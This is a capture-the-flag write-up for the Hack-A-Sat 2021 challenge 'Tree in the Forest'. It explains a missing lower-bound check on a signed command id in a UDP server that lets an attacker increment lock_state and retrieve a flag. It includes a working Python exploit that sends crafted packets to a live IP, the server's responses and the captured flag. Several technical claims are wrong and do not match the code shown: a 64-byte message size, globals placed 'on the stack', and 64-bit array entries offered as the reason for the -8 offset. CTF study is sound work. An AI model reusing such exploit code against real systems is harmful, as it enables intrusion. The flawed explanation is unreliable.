Hack-A-Sat 2021: Tree in the Forest

Category: Exploitation
Points: 31
Provided: parser.c

Challenge

CC=g++-9.3.0

challenge: src/parser.c
    $(CC) src/parser.c -o $@

Connect to the challenge on: lucky-tree.satellitesabove.me:5008

Observations

We are provided with a C source file and the contents of a Makefile for compiling it. The program is a simple UDP server that listens for messages on port 54321. It continously receives messages in an infinite processing loop.

do{
    std::stringstream response;
    socklen_t len;
    int n;
    len = sizeof(cliaddr);

    n = recvfrom(sockfd, (char *)buffer, sizeof(command_header), MSG_WAITALL, (struct sockaddr *)&cliaddr, &len);

    if (n != sizeof(command_header)){ // this should never happen, due to UDP
      response << "Invalid length of command header, expected "<<sizeof(command_header)<<" but got "<<n<<std::endl;
    } else {
      command_header* header = (command_header*)buffer;
      response<<"Command header acknowledge: version:"<<header->version<<" type:"<<header->type<<" id:"<<header->id<<std::endl;

      if (header->id >= COMMAND_LIST_LENGTH){
        response<<"Invalid id:"<<header->id<<std::endl;
      } else {

        // Log the message in the command log
        command_log[header->id]++;

        // Handle the message, return the response
        response<<handle_message(header)<<std::endl;
      }
    }

    sendto(sockfd, response.str().c_str(), response.str().length(), MSG_CONFIRM, (const struct sockaddr *) &cliaddr, len);
} while(1);

Each message must be 64 bytes long so that it can be processed as a command_header struct. The version and type fields are displayed on stdout but otherwise never used.

typedef struct command_header {
    short version : 16;
    short type : 16;
    command_id_type id : 32;
} command_header;

command_id_type identifies the type of command based on an enumeration of 10 message types. The last entry, COMMAND_GETKEYS, instructs the server to return the flag if the global variable lock_state is set to UNLOCKED.

// Logs how many times each command has been hit.
// Has a simple security feature that hides data from the user.
typedef enum command_id_type {
    COMMAND_ADCS_ON = 0,
    COMMAND_ADCS_OFF = 1,
    COMMAND_CNDH_ON = 2,
    COMMAND_CNDH_OFF = 3,
    COMMAND_SPM = 4,
    COMMAND_EPM = 5,
    COMMAND_RCM = 6,
    COMMAND_DCM = 7,
    COMMAND_TTEST = 8,
    COMMAND_GETKEYS = 9, // only allowed in unlocked state
} command_id_type;

The processing loop records each valid command that is received by incrementing the command_log array indexed by id. Note that lock_state happens to be declared directly before the command_log array.

// Globals used in this program, used to store command log and locked/unlocked state
unsigned int lock_state;
char command_log[COMMAND_LIST_LENGTH];

Solution

The vulnerability in this program is that the processing loop only validates that id is greater than or equal to 10. This check permits negative id values to be used as an index into the command_log array. Since the lock_state variable is located directly before the array on the stack, incrementing command_log[-1] causes lock_state to be incremented instead of a valid entry in the array.

if (header->id >= COMMAND_LIST_LENGTH){
    response<<"Invalid id:"<<header->id<<std::endl;
} else {
    // Log the message in the command log
    command_log[header->id]++;

    // Handle the message, return the response
    response<<handle_message(header)<<std::endl;
}

We must set the value of lock_state to 0, however we can only increment the value. Since the server runs in an infinite loop, we can just send 255 messages to cause lock_state to overflow back to a value of 0. The actual id value we need to send is not -1 but -8 since the size of each array entry and lock_state are 64 bits.

from pwn import *
import socket

def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    #s.connect(("localhost", 54321))
    s.connect(("18.118.161.198", 10444))
    return s

def exploit(p):
    # Send the malicious message 255 times
    for i in range(255):
        msg = b""
        msg += p16(1)  # version = 1
        msg += p16(2)  # type = 2
        msg += p32(0xfffffff8)  # id = 0xfffffff8 = -8
        p.send(msg)
        print(p.recvfrom(1024))

    msg = b""
    msg += p16(2)  # version = 2
    msg += p16(4)  # type = 4
    msg += p32(9)  # id = COMMAND_GETKEYS
    p.send(msg)
    print(p.recvfrom(1024))

p = connect()
exploit(p)

The server outputs the flag after 255 iterations:

(b'Command header acknowledge: version:1 type:2 id:-8\nCommand Success: LOCKED\n', ('18.118.161.198', 10444))
(b'Command header acknowledge: version:1 type:2 id:-8\nCommand Success: LOCKED\n', ('18.118.161.198', 10444))
(b'Command header acknowledge: version:1 type:2 id:-8\nCommand Success: LOCKED\n', ('18.118.161.198', 10444))
(b'Command header acknowledge: version:1 type:2 id:-8\nCommand Success: LOCKED\n', ('18.118.161.198', 10444))
(b'Command header acknowledge: version:1 type:2 id:-8\nCommand Success: LOCKED\n', ('18.118.161.198', 10444))
(b'Command header acknowledge: version:1 type:2 id:-8\nCommand Success: LOCKED\n', ('18.118.161.198', 10444))
(b'Command header acknowledge: version:1 type:2 id:-8\nCommand Success: LOCKED\n', ('18.118.161.198', 10444))
(b'Command header acknowledge: version:1 type:2 id:-8\nCommand Success: UNLOCKED\n', ('18.118.161.198', 10444))
(b'Command header acknowledge: version:2 type:4 id:9\nflag{hotel771085mike2:GDNSSINe9Y1jIMMauT0hcP4AAtJ0lAdSGD2WGrozvH79QG0xDaF9YFJhrmzv_YAw5ggfPT8YRBOQ0smqzWgDV3s}\n', ('18.118.161.198', 10444))